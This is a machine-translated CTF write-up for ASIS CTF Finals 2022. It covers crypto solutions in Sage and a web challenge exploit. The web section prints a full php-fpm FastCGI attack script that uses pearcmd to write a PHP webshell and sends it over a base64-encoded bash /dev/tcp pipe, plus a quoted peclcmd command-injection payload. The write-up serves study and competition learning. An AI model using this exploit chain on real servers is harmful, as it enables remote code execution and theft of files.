ASIS CTF Finals 2022 Writeups

發表於 2022-12-31

分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

It's been over a month since the last writeup. This time, I participated in the last CTF of 2022 at TSJ, but I only solved a few problems casually, so the solutions are simple.

Crypto

Bedouin

The core part of this problem:

def genbed(nbit, l):
	while True:
		zo = bin(getPrime(nbit))[2:]
		OZ = zo * l + '1'
		if isPrime(int(OZ)):
			return int(OZ)

p, q = [genbed(nbit, l) for _ in '01']
n = p * q
d = 1 ^ l ** nbit << 3 ** 3

Where l and nbits are unknown, but since $n$ is 2048 bits, you can directly brute force l and nbits.

However, I was a bit foolish and forgot that I could directly calculate $d$ , and instead used Coppersmith to solve it XDDD.

from Crypto.Util.number import *

n = 11121113123123225316356434558678774858078977276593397021624543840384563202155115058738121019496122867665089041531378765495378941511466657718894542904114559625642441128465120925869122510013821648504078756132678905746339918416164541967844556049129767198192120832242122152362554255476778746769978869981213179113423219879222189087301075677966655352464552361280530032139098871700688581383095249648153220815492192663813749608239655446091552718931797425166398881063388617148221988950883221751762196240326423538512655539718553076583064818193698890426088652913348728253613222688032199816839097468785655633345553434234332211221
c = 5803843969579132819335011147316700126850138645040786164613358324092389257116809400026966450184769375312899614327409585905225984512416350357377317869970672798156364680892279582644858593231713523918843003132993052161445288600305597235814501843656650641435288766888570072089417279402327786422304840443072946105311935400719421676606837065330750119585868374198105257007769314552030416147375054014617867407120886709602787976009552494441839542161616895658128320828121588847607421594537828968601732104230218732437554934895126797258625829953684512887833584347693414306725103727114467326912748686785899766881841877099566330733

ful = len(str(2^1024))

for l in range(1, 30):
    nbit = ful // l

    def calc(px):
        s = 1
        px *= 10
        for i in range(l):
            s += px
            px *= 10 ** nbit
        return s
    P.<x> = Zmod(n)[]
    f = calc(x)
    rs = f.monic().small_roots(beta=0.49)
    print(l, nbit, rs)
    if len(rs) > 0 :
        p = ZZ(f(rs[0]))
        q = n // p
        assert p * q == n
        print(p, q)
        d = 1 ^^ l ** nbit << 3 ** 3
        m = power_mod(c, d, n)
        print(long_to_bytes(m))

Monward

It can be seen that it is a DLP of some unknown curve, the curve is:

ax^2 + y^2 - dx^2y^2 \equiv 1 \pmod{p}

Where $a,d,p$ are unknown, and $p$ is a prime number. It also provides four points on the curve, so you can directly use Groebner basis to find those parameters.

At first, I forgot that enc itself is also a point, so I could only get a multiple of $p$ , and was wondering how to decompose to find $p$ ...

Next, referring to EFD, it can be seen that it is a Twisted Edwards curve, but Sage only supports Weierstrass curves, so we need to find a way to convert it back.

Since this problem used Montgomery Ladder to calculate point multiplication, it reminded me that it is birationally equivalent to the Montgomery curve, so we can convert it back and then to the Weierstrass curve. The formulas for these two maps are written on the wiki page for Montgomery curve, so we can use them directly.

After checking the order, it is found to be very smooth, so we can directly use Pohlig-Hellman to solve it.

Later, I also saw other conversion methods on Discord. One is:

import_statements('Jacobian_of_curve')
M = Jacobian_of_curve(Curve([formula]), morphism=True)
E = M.codomain()
print(M) # prints formula that maps points

By имя пользователя#8659

Another one is written on this page with the conversion formula.

from Crypto.Util.number import *

enc = (
    3419907700515348009508526838135474618109130353320263810121,
    5140401839412791595208783401208636786133882515387627726929,
)
P = (
    2021000018575600424643989294466413996315226194251212294606,
    1252223168782323840703798006644565470165108973306594946199,
)
Q = (
    2022000008169923562059731170137238192288468444410384190235,
    1132012353436889700891301544422979366627128596617741786134,
)
R = (
    2023000000389145225443427604298467227780725746649575053047,
    4350519698064997829892841104596372491728241673444201615238,
)

PR.<a, d> = ZZ[]
def get_eq(P):
    x, y = P
    return a * x**2 + y**2 - d * x**2 * y**2 - 1


I = PR.ideal([get_eq(enc), get_eq(P), get_eq(Q), get_eq(R)])
px = ZZ(I.groebner_basis()[-1])
print(px.factor())

p = 5237201762126547007797151858779248497586822407792003360117
sol = I.change_ring(PR.change_ring(GF(p))).variety()[0]
a = ZZ(sol[a])
d = ZZ(sol[d])


def to_weierstrass(a, d, p):
    # https://en.wikipedia.org/wiki/Montgomery_curve
    A = 2 * (a + d) / (a - d) % p
    B = 4 / (a - d) % p
    a = (3 - A ^ 2) / (3 * B ^ 2) % p
    b = (2 * A ^ 3 - 9 * A) / (27 * B ^ 3) % p
    E = EllipticCurve(GF(p), [a, b])

    def phi(P):
        x, y = P
        u = (1 + y) / (1 - y) % p
        v = u / x % p

        x, y = u, v
        assert B * y ^ 2 % p == (x ^ 3 + A * x ^ 2 + x) % p
        t = ((x / B) + (A / (3 * B))) % p
        v = (y / B) % p

        x, y = t, v
        assert y ^ 2 % p == (x ^ 3 + a * x + b) % p
        return E(x, y)

    return E, phi




def to_weierstrass2(a, d, p):
    # source: имя пользователя#8659 from Discord
    from sage.schemes.elliptic_curves.jacobian import Jacobian_of_curve
    P.<x, y> = QQ[]
    C = Curve([a * x**2 + y**2 - d * x**2 * y**2 - 1])
    M = Jacobian_of_curve(C, morphism=True)
    E = M.codomain().change_ring(GF(p))
    mx, my, mz = M.defining_polynomials()

    def phi(P):
        x, y = P
        return E(mx(x, y), my(x, y), mz(x, y))

    return E, phi


E, phi = to_weierstrass2(a, d, p)
m = discrete_log(phi(enc), phi(P), operation="+")
flag = b"ASIS{" + long_to_bytes(m) + b"}"
print(flag)

Vindica

Similar to RSA, the public key has $e$ , $n=pq$ , and $N=(p^2-1)(q^2-1)$ , so it is easy to decompose $p,q$ .

For encryption, first $c \equiv m^e \pmod{n}$ (textbook RSA), then convert $c$ to str, cut it into four segments to form a $2 \times 2$ matrix, and then take the $e$ -th power.

It can be noted that $N$ is a multiple of the order of $GL_2(Z/nZ)$ and also a multiple of $\phi(n)$ , so you don't need to decompose, just calculate the $d$ of the two groups. The only troublesome part is that the conversion between $c$ and the matrix is a bit tricky.

from Crypto.Util.number import *

e = 5078482198772022486668806580385994617046152136879757946447753006497559096311363698189927671279662282460215881884971383977603769421560651587643105884432120505614024093712045492181196774755153389551488415626903341200511584895756666520506685233571091301553677432797291383522948247421577307790421871576621793242903515091500045988509062949276333178982069574732477506029694357450058826765713
n = 10363021449027481978397698136523040156224840526536988813980447772289732568252796583569029480400841885971918279457292628777077494964266272306073795156837303451597151870070735534829041207628743246817464229192036030566123925737361164838906363407544870946204200850305741513829976332440459648804252085931138269521493971098766209511334573046832632919268929658929293913408444131177270388104753
N = 107392213553003652264193356141167842390327964666141411489753605300895389967717966219065325990583863026846677998499640622335255057106717292127317146400275358099599424428452765008928717339373244201449378568575832746100164090683550257574318731278439068909731202915200677410600049491303490567787820558996671108309423176089895240263790586705493906801778186252566858325220004019042683750828880339778401860112372011304892642369252185945127428055544519414082092350188418631467500702136331749454574303277689214044524567187394949387563389853123501460406372967215083941957639592408343405520031691298337072435702126794068748777393361487701429744483153095410562309113676977172598678391507488125481975026270733267725691293233008326251906894300961329722446578580183117531847748965008640
C = [
    1946208174139816651741710263419547576592153126350801855142762133627913647508863455823382709899043259671094044028462261991810476672592342389139600583419037130249400429216051912147809156497388747490389535839278095179701275637029504452920313532785460709421810335322833683324583540542971635153116319417565879782567743525221686507906726087786621105169291168378964690052819764946613598283697,
    1132182340479698114482383874952797406851835394503617195832358500522890480350948370033970794090094723318039532275191223723742462388681999900392328756181997298887891875712789491584405574822571967927609744519369790826014436738457000983543164898860473898076283762333186668689272789942682725689777116575064398495040777661209346469818796761610299917869552187462992078953932871607107940428566,
    7700452780560041441552917813890524163110993823471424265020074756508053970669942522256608739094119235303843336659577921739326977145056801702083374978356129281255531665001370179699899093743464696424465158478872708449905227751200590864428048833098665065609353140089197777268079240074549285218684722855590774839476140179718516214563523243006229792289296462740200370706099145614178211440202,
    7782708893953874570747318809245408011800629307006741721998241910864916749737624604100584864398704986546325867550058017705502633594608936861884411666933396887981901979859722266987588797058800525120021500545010297268991183937262790320218011315696953115130360268521260963297555084965631546139006069842106143556094168429235033227360856462499208085105421810405108260458185350930612978313221,
]


# not needed...
# P.<x, y> = QQ[]
# I = P.ideal([(x ^ 2 - 1) * (y ^ 2 - 1) - N, x * y - n])
# sol = I.variety()[0]
# p = sol[y]
# q = sol[x]
# assert p * q == n

C = matrix(Zmod(n), 2, 2, C)
_C = C ^ inverse_mod(e, N)
assert _C ^ e == C
chks = list(map(str, _C.list()))
l = 386  # guess
lens = [l // 4, l // 2 - l // 4, 3 * l // 4 - l // 2, l - 3 * l // 4]
for i in range(4):
    chks[i] = chks[i].rjust(lens[i], "0")
c = int("".join(chks))
d = inverse_mod(e, N)
m = power_mod(c, d, n)
assert power_mod(m, e, n) == c
print(long_to_bytes(m))

Wedge

This problem seems to be related to some lower triangular matrices and some linear algebra cryptosystem, but unfortunately, there is an unintended solution... You can directly use the decrypt oracle to get the flag without bypassing anything. (Ref: ASIS's Crypto is by the author of Crypto CTF)

from pwn import *
import re

def recvvec(io):
    s = io.recvlineS().strip(' \n[]')
    return list(map(int, re.split(r'\s+', s)))
def recvmat(io):
    mat = [recvvec(io)]
    while len(mat) < len(mat[0]):
        mat.append(recvvec(io))
    return mat
def mat2str(mat):
    return ','.join([','.join(map(str, row)) for row in mat])

io = remote("162.55.188.246", 31337)
io.sendline(b'e')
io.recvuntil(b'C1 = ')
C1 = recvmat(io)
io.recvuntil(b'C2 = ')
C2 = recvmat(io)
io.sendline(b'd')
io.recvuntil(b'First send C1: ')
io.sendline(mat2str(C1).encode())
io.recvuntil(b'Now send C2: ')
io.sendline(mat2str(C2).encode())
io.recvuntil(b'The plaintext is:\n ')
flag = bytes(sum(recvmat(io), []))
print(flag)
# ASIS{e35Y_puBl!c_kEy_cRypTOsYst3M_84SeD_0n_Ma7ricEs!!}

Rhyton

This problem has $n=pq$ , and there is an HNP that can solve $\phi(n)$ , so LLL can solve it.

from Crypto.Util.number import *
import sys

sys.path.insert(
    0, "./lattice-based-cryptanalysis"
)  # https://github.com/josephsurin/lattice-based-cryptanalysis
from lbc_toolkit import hnp

with open("output.txt") as f:
    exec(f.read())

B = floor(n ** (1 - 0.14))
print(B)
phi = hnp(n, V, W, B, verbose=True)
print(phi)
# phi = 49591240968755429312049716457401995044426228002042796673181723541052680686607142887478520649618793698962090278633758513884171676353727006663491490879076108707678273159303319324036821171540730544671074615694591081572151191056899879716952255080068563797690502291529578077456145919926152113605737981438636877020
d = inverse_mod(65537, phi)
m = power_mod(enc, d, n)
print(long_to_bytes(m))

Actually, this problem can give a larger error and fewer samples because $\phi(n)$ shares half of the bits with $n$ .

Web

*phphphphphp

Didn't solve this problem during the competition

This problem allows direct PHP eval, but it downgrades the permissions before executing your code:

no pwn 🫠 <?php posix_setgid(1337) && posix_setuid(1337) && eval($_POST['y']."\n\ri said no pwn 😡😡😡") ?>

However, php-fpm is on 127.0.0.1:9000, so you can directly attack it. However, the usual method doesn't work because it directly NOPs these lines, so using 'PHP_VALUE': 'auto_prepend_file = php://input' doesn't work.

Comparing with the revenge version of this problem, it can be seen that the revenge version has an additional command to delete all .php files, so it is clear that pearcmd can be used for the attack. I used this to modify and generate the fastcgi payload, and it indeed executed pearcmd.

However, since this problem uses a read-only Docker and many common temp directories are blocked, I thought it was impossible to write files, so the normal pearcmd method didn't work:

  fpm:
    build: ./fpm
    restart: always 
    read_only: true
    volumes:
      - ./no-write:/tmp:ro 
      - ./no-write:/var/www/html:ro 
      - ./no-write:/var/lock:ro 
      - ./no-write:/dev/shm:ro 
      - ./no-write:/var/tmp:ro 
      - ./no-write:/dev/mqueue:ro

After the competition, I asked around and someone told me that /dev is writable, so you can directly write files to get RCE. The method they used to find this was:

find . -type d | while read d ; do touch $d/FUCKIT 2>/dev/null ; done ; find / -name FUCKIT

By jkr#2261

After the competition, I modified my script using their method and succeeded:

import socket
import random
import argparse
import sys
from io import BytesIO
from base64 import *

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '+config-create+/<?php system("cat /flag.txt"); ?>+/dev/x.php',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        # 'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    request = client.request(params, content)

    cmd = f"""
    exec 3<>/dev/tcp/localhost/9000;
    echo "{b64encode(request).decode()}" | base64 -d >&3;
    cat <&3;
    exec 3<&-;
    exec 3>&-;
    """
    cmd = f"echo {b64encode(cmd.encode()).decode()} | base64 -d | bash"
    pl = b64encode(cmd.encode()).decode()
    code = f"system(base64_decode('{pl}')); ?>"

    import requests
    h = 'http://localhost:2000/'
    h = 'http://65.109.135.249:2000/'
    r = requests.post(h, data={
        'y': code
    })
    print(r.text)

# python fpm.py localhost /usr/local/lib/php/pearcmd.php -c ''
# python fpm.py localhost /dev/x.php -c ''
# ASIS{phphphphphphphphpSegmentationfault}

Another person mentioned finding another command injection in pearcmd, but it requires a .phpt file to be present:

'SCRIPT_FILENAME': '/usr/local/lib/php/peclcmd.php',
'QUERY_STRING': '''+run-tests+-i -r"system(hex2bin('payload'));"${IFS}#=d+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt'''

By fredd@8512

Crypto#

Bedouin#

Monward#

Vindica#

Wedge#

Rhyton#

Web#

*phphphphphp#